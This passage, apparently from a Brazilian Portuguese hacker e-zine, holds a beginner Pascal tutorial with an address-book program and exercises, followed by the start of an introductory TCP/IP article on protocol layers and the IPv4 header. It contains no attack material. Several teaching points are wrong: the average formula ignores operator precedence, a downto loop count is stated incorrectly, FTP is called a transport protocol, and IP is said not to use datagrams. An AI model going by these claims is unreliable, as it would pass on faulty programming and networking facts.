entre números reais * -> Multiplicação Div -> Divisão entre números inteiros Mod -> Retorna o resto de uma divisão entre inteiros 5.0 - Comando Básicos ~~~~~~~ ~~~~~~~ Agora a coisa está començando a ficar legal...=). Vamos aprender agora alguns comandos básicos, que nos auxiliarão na criação do programa, e também deixá-lo com uma cara mais bonita. São eles: Write -> O comando write é utilizado para imprimir alguam coisa na tela. Sua sintaxe é: write ('Hello World'); {Observe a aspa simples, tudo o que estiver dentro de aspas simples, é considerados texto pelo compilador } WriteLN -> Faz a mesma coisa que o write, mas depois de impresso o texto ele posiciona o cursor na primeira coluna da linha abaixo. LN = Line. Sua sintaxe é igual a do Write. Read -> O comando read serve para lermos dados vindos do teclado. Por exemplo, eu faço uma pergunta, então utilizo o read para ler a resposta e armazenar esta resposta numa variavel(declarada na área Var, antes do bloco principal). Sua sintaxe é: read(variável); {Sendo variável aonde vai ser armazenado o valor lido} ReadLN -> A exemplo do writeln, o readln lê os dados e após a leitura, posiciona o cursor na primeira coluna da linha abaixo. LN = Line. Sua sintaxe é igual a do read. ClrScr -> Este comando limpa a tela e posiciana o cursor na primeira linha,primeira coluna. Sua sintaxe é: ClrScr; Delay -> O comando delay serve para pausar a execução do programa por um tempo determinado. O tempo é determinado em milisegundos, portanto 1000 milisegundos equivalem a 1 segundo. Sua sintaxe é: Delay(milisegundos); Trunc -> Este comando pega a parte inteira de um cálculo ou número real. Sua sintaxe é: Trunc(num_real); por exemplo Trunc(9.5 / 2.2); {Pega a parte inteira do resultado da divisão de 9.5 com 2.2} GotoXY -> Em pascal, a tela é divida em 80 colunas e 25 linhas. Com o comando GotoXY, você pode ir para qualquer lugar que esteja entre essas 80 colunas e 25 linhas. Sua sintaxe é: Gotoxy (coluna,linha); UpCase -> Este comando pega caracteres em letras minúsculas e os converte para caixa alta. Sua sintaxe é: var_do_tipo_string := UpCase(var_do_tipo_string); ReadKey -> Este comando pausa o programa até que alguma tecla seja pressionada. Sua sintaxe é: Readkey; ou var_do_tipo_char := readkey; textbackground -> Este comando defini a cor de fundo. Sua sintaxe é: textbackground(numero_da_cor); ou textbackground(nome_da_cor); textcolor -> Este comando defini a cor da letra. Sua sintaxe é: textcolor(numero_da_cor); ou textcolor(nome_da_cor); Cores Disponíveis: ·BLUE ·GREEN ·CYAN ·RED ·MAGENTA ·BROWN ·LIGHTGRAY ·DARKGRAY ·LIGHTBLUE ·LIGHTGREEN ·LIGHTCYAN ·LIGHRED ·LIGHMAGENTA ·YELLOW ·WHITE ·BLACK {Nós podemos também somar duas cores, por exemplo : "textcolor (RED + BLUE);". Adicionando a string "Blink" a cor, temos um efeito piscante, por exemplo: "textcolor (RED + Blink);" .} 6.0 - Estruturas ~~~~~~~~~~ Aqui vamos estudar duas estruturas: As estruturas condicionais e as de atribuição. 6.1 Estruturas de Atribuição ~~~~~~~~~~ ~~ ~~~~~~~~~~ Bom, como o próprio nome já diz, estruturas de atribuição são utilizadas para atribuir valores a variáveis. Por exemplo, eu tenho uma variável A, uma variável B e uma variável chamada Resultado. Eu quero que os valores da soma de A + B sejam atribuídos a variável Resultado. Isso ficaria da seguinte forma: Resultado := A + B; {Note o ":=". Diferente de outras linguagens, o sinal de atribuição em Pascal é dois ponto e um igual. Toda vez que utilizarmos este sinal, o valor da esquerda recebe o valor da direita.} 6.2 Estruturas Condicionais ~~~~~~~~~~ ~~~~~~~~~~~~ As estruturas condicionais são utilizadas quando nos deparamos com determinadas situações em que temos que tomar decisões. Por exemplo. Estou andando na rua, mas pode chover, então se chover, eu devo pegar um guarda-chuva, senão, devo continuar andando. O mesmo acontece com programação, por exemplo, estou fazendo um programa que lê duas notas bimestrais, calcula a média e diz se o aluno foi aprovado ou reprovado. Consideremos a média como 70. Portanto, SE a média for menor que 70, imprimir reprovado, SENÃO imprimir aprovado. Veja um exemplo pra entender melhor: media := A + B / 2; {O sinal "/", indica divisao de numeros reais} if media < 70 then writeln ('Reprovado!') else writeln ('Aprovado'); OBS.: IF = Se | THEN = Então | Else = Senão {No exemplo acima, calculmos a média do aluno, e de acordo com a média, maior ou menor que 70, damos o resultado.} Sintaxes para IF: IF condição THEN IF condiçao THEN IF condição THEN IF condição THEN comandos Begin Begin comando; ELSE comandos; comandos; comandos; comandos; comandos; ... ... comandos; comandos; End; End IF condição THEN ELSE Begin Begin comandos; comandos comandos; End; End; OBS2.: Quando temos um ou mais IFs dentro de um estrutura condicional(outro IF), denominamos tal estrutura de IF Aninhando/Se Aninhando. Existe também outra estrutura condicional, a estrutura CASE. Abaixo segue sua sintaxe: CASE escolha of begin 1..100 : begin writeln ('Você digitou um número.'); end; 'A'..'Z' : begin writeln ('Você digitou uma letra maiúscula'); end; 'a'..'z' : begin writeln ('Você digitou uma letra minúscula'); end; else ; {Quando utilizarmos apenas uma writeln, um readln, ou qualquer outro comando, não há a necessidade de se usar o begin e end; (eu usei de tongo mesmo, hehehe).} 7.0 - Laços ~~~~~ Laços de repetição são utilizados quando queremos que determina situação se repita até que algo aconteça, fazendo com que a situação pare de ser executada. Por exemplo, estou fazendo um programa que cadastra clientes. Para que o usuário não tenha de abrir mais um vez o programa toda vez que quiser cadastrar um novo cliente, criamos um laço de repetição. O laço ficaria se repetindo até o momento em que o usuário não desejasse mais cadastrar usuários. 7.1 - Laço FOR ~~~~ ~~~ O laço FOR permite que determinemos a quantidade de vezes que tal bloco do programa será executado. Sua sintaxe é: OBS.: FOR = De | TO = a | DO = Faça FOR contador := 1 to do begin comandos; comandos; comandos; end; por exemplo: FOR contador := 1 to 5 do begin writeln ('MotdLabs'); writeln (' by d4rwin'); end; {Este laço acima repetiria(imprimiria) 5 vezes na tela as frases MotdLabs e by d4rwin.} O laço FOR também nos permite determinar o número de vezes de forma descrescente. Por exemplo: FOR contador := 5 downto 3 do begin comandos; comandos; comandos; end; {O laço acima executaria 2 vezes, contando regressivamente de 5 até chegar em 3, o que está entre begin e end;} 7.2 - WHILE Aqui está mais uma estrutura ou laço de repetição. Utilizamos o WHILE quando queremos que determinado bloco do programa se repetia até que algo aconteça. Sua sintexe é: OBS.: WHILE = Enquanto | DO = Faça WHILE condição DO Begin comandos; comandos; comandos; ... End; por exemplo: WHILE num > 10 DO Begin writeln ('Eu estou aprendendo Pascal'); writeln ; writeln ; writeln ('d4rwin eh l33t0, =)'); num := 8; End; {No exemplo acima temos a seguinte condiçao, num > 10. Enquanto essa condição for verdadeira(maior que 10), o programa executará aquilo que estiver dentro do bloco de repetiçao. Quando o programa encontra num := 8, ele sai do laço, pois a condição se tornou falsa.} 7.3 - Repeat ~~~~~~ Podemos dizer que o Repeat é o contrário do WHILE. Ele executa o que está no bloco de repetição até que a condição seja verdadeira. Enquanto a condição for falsa, ele executa o bloco de repetição. Sua sintaxe é: Repeat comandos; comandos; comandos; ... comandos; Until (condição_for_verdadeira); por exemplo Repeat write ('Digite um num: '); readln (num); write ('Digite outro num: '); readln (num2); result := num + num2; writeln ('Resultador: ',result); Until (result < 0); {No exemplo acima, o programa fica somando,somando...somando, até que o resultado seja negativo/menor que 0. Repare que o Repeat dispensa o uso do Begin e End;} 8.0 - Vetores ~~~~~~~ A partir do momento em que precisamos declarar um número muito grande de variáveis, faz-se necessário o uso de vetores, denominado em Pascal como "array", para que não tenhamos o desconforto de declarar todas as variáveis. Por exemplo, estou fazendo um programa que cadastre os 300 clientes de um empresa. Imagina o trabalho que daria declarar 300 variáveis do mesmo tipo, e pior, o desconforto que seria criar a estrutura para ler essas 300 variáveis. Por isso nós utilizamos arrays. Sua sintaxe é: Var : array [1..n] of integer; por exemplo Var clientes : array [1..300] of string[15]; {A estrutra acima é a forma como declaramos arrays em Pascal.} Para acessar essas variáveis no programa, utilizamos o nome do array mais seu indice. Por exemplo: clientes[1], clientes[2], clientes[3] ... cliente[n]; Mesmo utilizando-se de arrays, o processo de ler os 300 clientes seria penoso. Por isso, utilizando-se de um laço FOR, podemos ler todos os clientes, com apenas algumas linhas. Segue o exemplo: FOR contador := 1 to 300 do begin readln (clientes[contador]); end; {No Laço acima, o programa lê do cliente 1 ao 300. Note que entre parenteses encontra-se "contador". Portanto, o programa ficará lendo os nomes dos clientes, até chegar em 300.} Para imprimir o nome de um cliente, faríamos assim: writeln ('Cliente: ',cliente[76]); E se quisessemos imprimir o nome de todos os clientes, utilizaríamos mas uma vez o laço FOR: FOR contador := 1 to 300 do begin writeln ('Cliente Numero: ',contador); writeln ('Nome: ',clientes[contador]); writeln ; end; 9.0 - Matrizes ~~~~~~~~ As matrizes se assemelham aos vetores, mas possibilitam armazenar um número maior de variáveis. Abaixo segue um desenho de como seriam mais ou menos uma matriz: 1 2 3 4 5 ------------------------ 1 | 1,1| 1,2| 1,3| 1,4| 1,5| |----|----|----|----|----| 2 | 2,1| 2,2| 2,3| 2,4| 2,5| ------------------------ {Em cada "cazinha" é armazenada uma variável} Como você pode observer no desenho acima, temos 5 colunas e 2 linhas. Quando estamos mechendo com matrizes, sempre nos referimos primeiro a linha, depois a coluna. Abaixo segue um exemplo de declaração de matrizes: : array [1..10,1..10] of integer; por exemplo: numero : array [1..10,1..10] of integer; {No exemplo acima, declaramos uma matriz que possui 10 linhas e 10 colunas. Quando queremos acessar alguma variável armazenada numa matriz, utilizamos um índice com as coordenadas.} Por exemplo: writeln ('Numero: ',numero[2,6]); {No exemplo acima, será impresso na tela o número que está na linha 2, coluna 6.} Para ler(read) um ou imprimir uma matriz, utilizamos os seguitens laços FOR: for linha := 1 to 10 do begin for coluna := 1 to 10 do begin write ('Digite um numero: '); readln (numero[linha,coluna]); end; end; {Vamos analisar o laço acima, o programa pede para o usuário digitar um número. Este número é armazenado na linha 1,coluna 1. Depois o laça se repetirá, então o próximo número a ser lido será armazenado na linha 1, coluna 2, e assim por diante. Quando a coluna chega a 10, o laço passa para a linha 2, e tudo se repete, =)} 10.0 - Registros ~~~~~~~~~ Registros são utilizados para armazenas várias variáveis de tipos diferentes. Por exemplo, estou criando um programa para o CENSO. Eu preciso do nome da pessoa, sua idade, telefone e endereço. Nome,idade,telefone e endereço são variáveis de tipos diferentes. Por isso, veja como ficaria este exemplo utilizando registros: Type registro = record nome :string[15]; idade :integer; telefone :integer; endereço :string; end; {Analisando a estrutura acima, vemos que registro é igual a record. Portanto, toda vez que quisermos nos referir a um registro que tenha nome,idade,telefone e endereço, utilizaremos : "var : registro". Isto declararia do tipo registro, isto significa que na variável poderíamos gravar nome,idade,telefone e endereço.} Como se referenciar a um registro? Para nos referenciar a um registro, utilizamos a seguinte sintaxe: .variavel; por exemplo: registro.nome; registro.idade; registro.telefone; registro.endereço; Um exemplo de leitura com o registro seria: write ('Digite um nome: '); readln (registro.nome ); write ('Digite sua idade: '); readln (registro.idade); write ('Digite seu tel: '); readln (registro.telefone); write ('Digite seu endereço: '); readln (registro.endereço); 11.0 - Tratamento de Arquivos ~~~~~~~~~~ ~~ ~~~~~~~~ Em pascal, nós podemos mecher, mesmo que inderetamente, com arquivos binários e .txt. Para começarmos a trabalhar com tratamento de arquivos, é necessário declarar a variável-arquivo. Abaixo segue a sintaxe da declaração de arquivos binários: Type ArqInt = File of Integer; Var Numeros : ArqInt; ou Var Numeros : File of Integer; Declaração de arquivos texto: Type ArqTexto = Text; Var Texto : ArqTexto; ou Var Texto : Text {Note que só utilizamos "File of" para arquivos binários} Abaixo segue os comandos e suas sintaxes. No final eu darei um programa-exemplo, utilizando tais comandos. ASSIGN -> Este comando serve para informar ao programa, onde localiza-se o arquivo (binário ou texto), no HD. Sempre que formos trabalhar com tratamento de arquivos em Pascal, devemos utilizar este comando. Sua sintaxe é: Assign(Variavel,'C:\MotdLabs\Texto.txt'); Assing(Variavel,'C:\MotdLabs\Numeros.bin'); RESET -> Abre o arquivo para somente leitura. Sintaxe: Reset(nome_do_arquivo); APPEND -> Abre o arquivo para inserção de mais coisas. Somente para arquivos texto. Sintaxe: Append(nome_do_arquivo); REWRITE -> Este programa verifica a existência do arquivo. Se o arquivo existir, ele apaga tudo o que tem dentro do arquivo. Se o arquivo não existir, ele cria o arquivo no local especificado pelo Assign. Sintaxe: ReWrite(nome_do_arquivo); CLOSE -> Fecha o arquivo. Sintaxe: Close(nome_do_arquivo); READ -> Recebe o valor lido. Sintaxe: Read(nome_do_arquivo,variável); WRITE -> Escreve no arquivo. Sintaxe: Write(nome_do_arquivo,valor_a_ser_escrito); Exemplo de um Programa utilizando tratamento de arquivos: OBS.: Execute o programa, e depois verifique o arquivo C:\Arquivo.txt --------------------------------Corte Aqui-------------------------------------- { Nome do Programa ......................: Tratamento de Arquivos Função ...............................: Programa exemplo usando tratamento de arquivos Plataforma ...........................: Windows / 32 bits Linguagem ............................: Pascal Data de criação ......................: 07/12/2003 Data de última alteração .............: 07/12/2003 Autor ................................: d4rwin } Program exemplo_01; Uses CRT,DOS; Const Arq_real = 'C:\Arquivo.txt'; Type ArqTexto = Text; Var List : ArqTexto; nome : string[15]; Begin clrscr; textbackground (blue); textcolor (white); clrscr; gotoxy (14,2); writeln ('Programa Exemplo 01'); gotoxy (14,3); writeln ('-------- ------- --'); writeln ; writeln ; delay (500); Assign (List,Arq_real); {$i-} Reset(List); {$i+} if IOResult <> 0 then rewrite (List); write ('Digite seu nome: '); readln (nome); write (List,nome); Close(List); writeln ; writeln ; writeln ('--------------------------EoF--------------------------'); writeln; writeln; readkey; End. --------------------------------Corte Aqui-------------------------------------- 12.0 - Procedimentos e Funções ~~~~~~~~~~~~~ ~ ~~~~~~~ Agora veremos rapidamente o que são procedimentos e funções, e como utilizá-los no programa. Procedimentos ^^^^^^^^^^^^^ Procedimentos são identificados em Pascal como "procedures". Procedures são programas, iguais ao bloco principal, mas que não faz parte do mesmo. Não entendeu? Deixa eu explicar melhor, nos procedimentos nós podemos declarar variáveis, imprimir, ler, tudo aquilo que fazemos no bloco principal. A diferença está que estes são seperados. O procedimentos são declarados entre o Var e o Begin do bloco principal. Vamos ver um exemplo de procedimentos: Program procedimentos; Uses CRT; Var num1,num2 : integer; nome : string[10]; Procedure ; Var var1,var2 : integer var3,var4 : word; aux : byte; begin clrscr; writeln ('Pascal is rlz!'); writeln ('=)'); end; Begin {Aqui começa o bloco principal} comandos; comandos; comandos; ... comandos; End. {Com este exemplo já da pra ter um idéia de como funcionam os procedimentos} Acho que chegou a hora de falar de variáveis globais e locais, fundamental para o entendimento de procedimentos. Como vc pode reparar no exemplo acima, foram declaradas variáveis dentro do procedimento e variáveis fora dele, como fazíamos antes. Aí é que está, todas as variáveis declaradas no escopo VAR, são globais, portanto, podemos utilizá-las em qualquer lugar do programa, inclusive dentro do procedimento. Se uma variável global recebe um valor dentro do procedimento, ela ficará com o valor recebido na procedure. Já as variáveis locais, são aqueles declaradas dentro da procedure. Estas variáveis serão utilizadas apenas pelo procedimento. Portanto, podemos sim ter duas variáveis com o mesmo nome em um programa, desde que uma seja global e outra local. Mas daí você me pergunta: "E se eu tiver uma variável global com o mesmo nome de uma variável local, dentro do procedimento, qual vai ser utilizada?". A resposta é que sempre as variáveis locais vão ter preferência sobre as globais. Mais uma coisa a se dizer com relação a procedimentos é que dentro de um procedimento, vc pode chamar outro. Mas isso só é possível se o procedimento chamado estiver em cima do procedimento que chamou. Mas pq isso? Isso deve-se ao fato de o Pascal ser linear, isto é, o compilador vai lendo linha por linha, até chegar no End. Se vc chamar um procedimento dentro de outro, e o procedimento chamado estiver em baixo dele, quando o compilador passar pelo procedimento, não vai reconhecer o comando, pois o procedimento que foi chamado está abaixo e ainda não foi compilado, portanto é desconhecido pelo compilador. Para chamar um procedimento utilizamos a seguinte sintaxe: ; Funções ^^^^^^^ Funções são a mesma coisa que os procedimentos, a única diferença entre os dois é que as funções retornam um valor. Geralmente, mais por uma questão de organização, a funções são declaradas abaixo dos procedimentos. Um exemplo de declaração de função: Function (var1,var1 :tipo) :tipo; Begin | comandos; Tipo é o tipo de variável que a comandos; função irá retornar. comandos; ... comandos; End; {Analisando a função acima, podemos concluir o seguinte: utilizaremos na função o var1 e var2, que são do mesmo tipo. Também podemos ver que a função retornará um valor do tipo a ser definido.} Passagem de Parâmetros Os procedimentos também suportam passagem de parâmetros, mas eu aproveitei o tópico funçoes para exeplicar isso. Para exemplificar a passagem de parâmetros, abaixo segue um código: --------------------------------Corte Aqui-------------------------------------- { Nome do Programa ....................... Função Função ................................. Exemplo de passagem de parâmetros Plataforma ............................. Windows / 32 bits Linguagem .............................. Pascal Data de criação ........................ 08/12/2003 Data de ultima alteração ............... 08/12/2003 Autor .................................. d4rwin } Program funcoes; Uses CRT; Var num1,num2,result,contador : integer; Function funcao (A,B :integer) : integer; begin Result := A + B; end; Begin clrscr; writeln ('Programa Exemplo de Funções'); writeln ; writeln; textcolor (white); write ('Digite um num: '); readln (num1); write ('Digite outro num: '); readln (num2); {Agora nós vamos passar os parâmetros - valores de num1 e num2 - a função} funcao(num1,num2); {Aqui os parâmetros são passados nesta ordem. Na função, A receberá num1 e B num2} writeln ; textcolor (red + blink); delay (400); writeln ('Resultado: ',result); writeln ; textcolor (cyan); writeln (' -----------------------------EoF---------------------------'); readkey; End. --------------------------------Corte Aqui-------------------------------------- 13.0 - Agenda Eletrônica em Pascal ~~~~~~ ~~~~~~~~~~ ~~ ~~~~~~ Bom, já que está acabando o txt, eu coloquei um agenda eletrônica feita em pascal por mim. Ele permite adicionar, ver e pesquisar amigos. Estou colocando ela aqui, pois acho que ela seria uma boa alternativa para estudo. Talvez você não entenda isso ou aquilo, mas é importante que você estude o código, e principalmente pratique, pratique... pratique. --------------------------------Corte Aqui-------------------------------------- { Nome do Programa ....................... Agenda Função ................................. Agenda Eletronica Plataforma ............................. Windows Linguagem .............................. Pascal Data de criação ........................ 06/12/2003 Data de ultima alteração ............... 08/12/2003 Autor .................................. d4rwin } Program Agenda_Eletronica; Uses CRT,DOS; Const Arq_real = 'C:\Agenda.txt'; Type Amigo = record codigo : integer; nome : string[15]; idade : integer; telefone : string[12]; end; Var agenda : file of amigo; contador : integer; opcao : char; Procedure Menu; begin clrscr; writeln ; gotoxy (14,3); writeln ('#################################'); gotoxy (14,4); writeln ('## Agenda Eletronica ##'); gotoxy (14,5); writeln ('#################################'); gotoxy (14,6); writeln ('## ##'); gotoxy (14,7); writeln ('## Incluir Amigo (I) ##'); gotoxy (14,8); writeln ('## Listar Amigos (L) ##'); gotoxy (14,9); writeln ('## Pesquisar Amigo (P) ##'); gotoxy (14,10); writeln ('## Sair (S) ##'); gotoxy (14,11); writeln ('## ##'); gotoxy (14,12); writeln ('#################################'); gotoxy (14,13); writeln ; gotoxy (14,14); write ('Opcao: '); gotoxy (21,14); readln (opcao); opcao := upcase(opcao); end; Procedure Incluir_amigos; var X : amigo; resposta : char; Total_amigos : integer; begin {$i-} reset (agenda); {$i+} Total_amigos := 0; if IOResult <> 0 then rewrite (agenda); while Not EoF(Agenda) do begin read (Agenda,X); Total_amigos := Total_amigos + 1; end; repeat clrscr; Total_amigos := Total_amigos + 1; gotoxy (14,3); write ('Inclusao de Amigo'); gotoxy (14,4); writeln('^^^^^^^^ ^^ ^^^^^'); gotoxy (14,5); writeln ; writeln ; with X do begin gotoxy (14,7); writeln ('Codigo: ',Total_amigos); gotoxy (14,8); codigo := Total_amigos; write ('Nome: '); readln (nome); gotoxy (14,9); write ('Idade: '); readln (idade); gotoxy (14,10); write ('Telefone: '); readln (telefone); gotoxy (14,11); end; write (Agenda,X); writeln ; gotoxy (14,13); write ('Inserir outro(S/N): '); readln (resposta); resposta := upcase(resposta); until (resposta = 'N'); close (Agenda); end; Procedure Listar_amigos; var X : amigo; begin clrscr; reset(agenda); gotoxy (14,3); writeln ('Listagem de Amigo(s)'); gotoxy (14,4); writeln ('^^^^^^^^ ^^ ^^^^^^^^'); gotoxy (14,5); while Not EoF(Agenda) do begin read (agenda,X); with X do begin writeln ; writeln (' Codigo ..........: ',codigo); writeln (' Nome ............: ',nome) ; writeln (' Idade ...........: ',idade) ; writeln (' Telefone.........: ',telefone); writeln ; end; end; readln; end; Procedure Pesquisar_amigo; var X : amigo; nome_amigo : string[15]; begin reset(agenda); clrscr; gotoxy (14,3); writeln ('Pesquisa de Amigo'); gotoxy (14,4); writeln ('^^^^^^^^ ^^ ^^^^^'); gotoxy (14,6); write ('Nome do Amigo: '); readln (nome_amigo); writeln ; while Not EoF(Agenda) do begin read (Agenda,X); with X do begin if nome = nome_amigo then begin gotoxy (14,8); writeln ('Codigo ..........: ',codigo) ; gotoxy (14,9); writeln ('Nome ............: ',nome) ; gotoxy (14,10); writeln ('Idade ...........: ',idade) ; gotoxy (14,11); writeln ('Telefone ........: ',telefone); gotoxy (14,12); writeln ; readkey; end; end; end; end; Begin clrscr; textbackground (blue); textcolor (white); clrscr; gotoxy (14,3); writeln ('====================================='); gotoxy (14,4); writeln ('= ='); gotoxy (14,5); writeln ('= Agenda Eletronica ='); gotoxy (14,6); writeln ('= ='); gotoxy (14,7); writeln ('= $$$$ #### $$$$ ='); gotoxy (14,8); writeln ('= $$$$ #### $$$$ por d4rwin ='); gotoxy (14,9); writeln ('= ='); gotoxy (14,10); writeln ('====================================='); gotoxy (14,11); writeln ; writeln ; gotoxy (14,12); writeln ('Carregando agenda...'); for contador := 1 to 100 do begin gotoxy (14,13); writeln (contador,'% concluido'); delay (100); end; Assign (agenda,Arq_real); repeat Menu; if opcao = 'I' then Incluir_amigos; if opcao = 'L' then Listar_amigos; if opcao = 'P' then Pesquisar_amigo; until (opcao = 'S'); End. --------------------------------Corte Aqui-------------------------------------- 14.0 - Exercícios ~~~~~~~~~~ Exercício 01 ^^^^^^^^^ ^^ Escreva um algoritmo/programa para ler 2 valores (se o segundo valor informado for ZERO, deve ser lido um novo valor até que seja diferente de zero) e imprimir o resultado da divisão do primeiro pelo segundo. Utilizar a estrutura REPEAT-UNTIL (Repita - Até). Exercício 02 ^^^^^^^^^ ^^ Reescreva o exercício anterior utilizando a estrutura WHILE...DO (Enquanto...Faça). Exercício 03 ^^^^^^^^^ ^^ Escreva um algoritmo/programa para ler as notas da 1ª e 2ª avaliações de um aluno, calcule e imprima a média(simples). Só devem ser aceitos valores válidos durante a leitura entre 0 e 10 para cada nota. Acrescente uma mensagem 'NOVO CÁLCULO (S/N)?' ao final do exercício. Se for respondido 'S' deve retornar e executar um novo cálculo, caso contrário deverá encerrar o algoritmo/programa. Exercício 04 ^^^^^^^^^ ^^ Escreva um algoritmo/programa que solicite ao usuário N números. Faça a soma destes N números e imprima na tela. Utilize a estrutura FOR...TO...DO (De...Até...Faça). Exercício 05 ^^^^^^^^^ ^^ Ler 10 valores e escrever quantos destes valores são NEGATIVOS. 15.0 - Agradecimentos ~~~~~~~~~~~~~~ Agradeço primeiramente a Deus, por ter criado o mundo, a meu pai, minha mãe, o troxa do meu irmão e minha vizinha gata. Agradeço tbm a todos os caras do MotdLabs que tem me dado a maior força. Espero que com este txt eu tenha alcançado meu objetivo, que é ajudar a dar um ponta-pé inicial no aprendizado de programação para newbies. Sei que o texto não está lá aquelas coisas, mas acredito que a partir dele, você já vai saber pelo que e onde procurar(vide seção LINKS). Bom, me despeço aqui, um abraçao a todos e até a próxima... [d4rwin] 16.0 - Links ~~~~~ http://www.freepascal.org http://www.freepascal.eti.br http://www.pascaler.hpg.com.br http://www.infoxbr.com.br http://www.geocities.com/SiliconValley/Bay/6512/index.htm http://www.pascalhome.cjb.net/ http://www.pascaltotal.hpg.ig.com.br/ http://www.delphix.com.br http://d4rwin.cjb.net -=-d4rwin@bol.org-=- -----------------------------------EoF------------------------------------------ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[12]-=[TCP/IP]-=|SkyNet45|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ****************** Introducao:::... * ****************** Como prometido estou dando continuidade a materia abordada no primeiro numero dazine, o topico mudou mas o assunto ainda eh o mesmo, se vc ainda lembra da materia passada sobre hardware de rede irah ajudar bastante pois para compreensao desse topico se faz util o material passado, como jah havia falado. Irei procurar abordar topicos bases da arquitetura tcp/ip, mostrando coisas realmente basicas sobre esta suite de protocolos. Obs1.: Se vc acha que vai apartir de agora dominar este assunto feche o arquivo pois o intuito do mesmo eh dar a introducao basica aos que se interessam por redes, e aqueles que estao atras de conhecimento verdadeiro e etico. **************** CONCEITO:::... * **************** Imagine duas pessoas no mesmo lugar tentando conversar, uma delas fala ingles, a outra fala portugues, sera que elas iriam se entender de forma clara? Com certeza nao. Seria o mesmo que voce ligar dois computadores com um fio e querer que eles troquem informacoes entre si e facam tudo bem bunitinho, isso seria impossivel, daih surgiu a ideia de `protocolo`, eu gosto de fazer essa comparacao "o protocolo eh como a voz", vc soh se comunica com alguem se vc falar a lingua dessa pessoa, o `protocolo` ou a voz facilita a comunicao entre duas pessoas ou as duas coisas se preferir assim, entao podemos concluir dai que sem `voz` nao se tem conversa. Os computadores tambem sao assim, eles precisam de protocolos de conversacao para se comunicarem, sem eles isso tambem seria impossivel! Para resolver esse problema foram desenvolvidas algumas `linguas` para fazerem os computadores conversarem entre si, entre essas `linguas` ou protocolos encontra-se o tcp/ip, que eh sem duvida a base da nossa amada internet, tudo nela eh baseado nele, o tcp/ip nao eh um protocolo soh conforme muitos pensam, mas eh uma gama ou um conjunto de protocolos juntos, tais como o: snmp, icmp, udp,ip e etc... estes formam uma arquitetura que sem duvida eh muito apreciada por existir. O tcp/ip com seus muitos protocolos tem um papel muito significativo numa rede, por exemplo podemos citar o ftp que eh um protocolo de transporte muito utilizado na atualizacao de sites na internet, por meio deste pode-mos fazer tranferencia de arquivos e trabalhar com manipulacao de arquivos na integra. ************************************* A ARQUITETURA INTERNET(TCP/IP):::...* ************************************* Os padroes do tcp/ip nao sao estabelecidos por nenhum orgao internacional de qualidade, as definicoes do protocolo sao feitas por documentos denominados RFC (request for comments), que sao elaborados pelo IAB (Internet Activies Board). Se pararmos para analisar estes documentos, que trazem todas as caracteristicas do tcp/ip veremos que ele eh um protocolo simples e que tem uma facilidade de implementacao muito grande, e ao mesmo tempo atendem as necessidades da maioria dos sistemas de redes. A arquitetura tcp/ip eh organizada em camadas assim como um bolo muito grande tambem tem suas camadas, chocolate, glace, doce de leite(aih q fome!!!), pois eh, na nossa arquitetura temos protocolos distintos para cada camada do tcp/ip, temos tambem protocolos para a comunicacao e comunicacao entre duas camadas separadas, observem o rabisco abaixo: -------------------------------------- | | | | | 1ºAplicacoes -->| ftp | smtp | telnet | snmp | |--------------------------------------| | | | | | 2ºTransporte -->| | TCP | UDP | | | |----------------------------| | | | | 3ºRede -------->| |ip, icmp, arp, rarp| | | |----------------------------| | | | | 4ºacesso ------>| |sub-rede de acesso | | -------------------------------------- Vamos ver as camadas de baixo pra cima, pra podermos entender mais facil e rapido: Camada por camada entao... ****************************** 4º Camada - Sub-rede (acesso)* ****************************** A arquitetura tcp/ip nao padroniza o tipo de redes que poderao ter acesso a redes tcp/ip, ao contrario permite que qualquer tipo de tecnologia possa ser empregada, bastando somente desenvolver suas interfaces de comunicacao umas com as outras. Podemos encontrar muitas tecnologias de redes sendo usadas juntas, tais como: ppp, ethernet, wireless, etc, sendo que cada tecnologia dessas tem seus proprios protocolos, meios de conexao e taxas de transmissao, mas se torna necessario que essas sejam vistas pelas redes tcp/ip; isso eh feito pelos roteadores que fazem com que essas redes de protocolos diferentes trabalhem juntas, os roteadores enxergam de um lado as sub-redes com tecnologias diferentes e do outro suas redes tcp/ip, e em ambas se comportam como se fosse um componente fisico das duas redes distintas. Segue rabisco aih.... ------- ------- | | | | | HOST1 | | HOST2 | ------- ------- \ / \ / \ / --------------- ------ --------------- | Tecnologia | ----------- |Rotea-|----------- | | | ATM | | dor | | | | | ------ | | --------------- | INTERNET | | | | | ------ | | -------------------------------- |Rotea-| ---------- | | | HOST3 | | HOST4 | | dor | | | |------- ------- ------ --------------- | Tecnologia Ethernet |------- ------- | HOST5 | | HOST6 | ----------------------- oBS1.: Se vc percebeu bem, os roteadores que fazem a conexao da rede com outras redes como a internet fazem o trabalho de compatibilizar as operacoes entre os protocolos, tais como tcp/ip e outros. ****************** 3º Camada - Rede * ****************** A camada de rede eh formada por varios protocolos, o principal eh o IP que eh o responsavel pelo transporte dos pacotes pela rede ou por outras sub-redes, o protocolo IP nao trabalha no modo datagrama, ou seja ele nao eh orientado a conexao, assim nao sao estabelecidas ligacoes virtuais entre a origem e o destino do pacote. Esses pacotes soh contem informacoes necessarias sobre o seu transporte na rede e controle nas sub-redes utilizadas. Os pacotes podem ser fragmentados durante a comunicaçao na rede. Por funcionarem no modo datagrama, cada pacote pode ir por um lugar na rede, ou seja quando se emite uma sequencia de pacotes para determinado alvo, ele pode chegar lah por varios lugares, pois os pacotes originais podem ser fragmentados. Eles podem tambem ser dividos(fragmentados) quando chegarem a um roteador e lah o tamanho do datagrama suportado pela rede seja menor, aih tambem serah divido e mais tarde remontado com base em informacoes no cabecalho IP. Segue Rabisco de um pacote(datagrama): Formado por 32 bits(IPv4) 0 3 4 7 8 15 16 32 ------------------------------------------------------------ | versao | IHL | tipo servico | compri. total | |-------- ------------------- --------- ---------------------| | identificacao | flags | offset de fragmento | |------------------------------------------------------------| | tempo de vida | protocolo | checksum do cabecalho | |------------------------------------------------------------| | endereco de origem | |------------------------------------------------------------| | endereco de destino | |------------------------------------------------------------| | opcoes | padding | |------------------------------------------------------------| | DADOS | ------------------------------------------------------------ Versao - versao do IP (Ex. IPv4, IPv6), 4 bits IHL - comprimento do cabecalho, 4 bits tipo servico - qualidade do servico, 8 bits 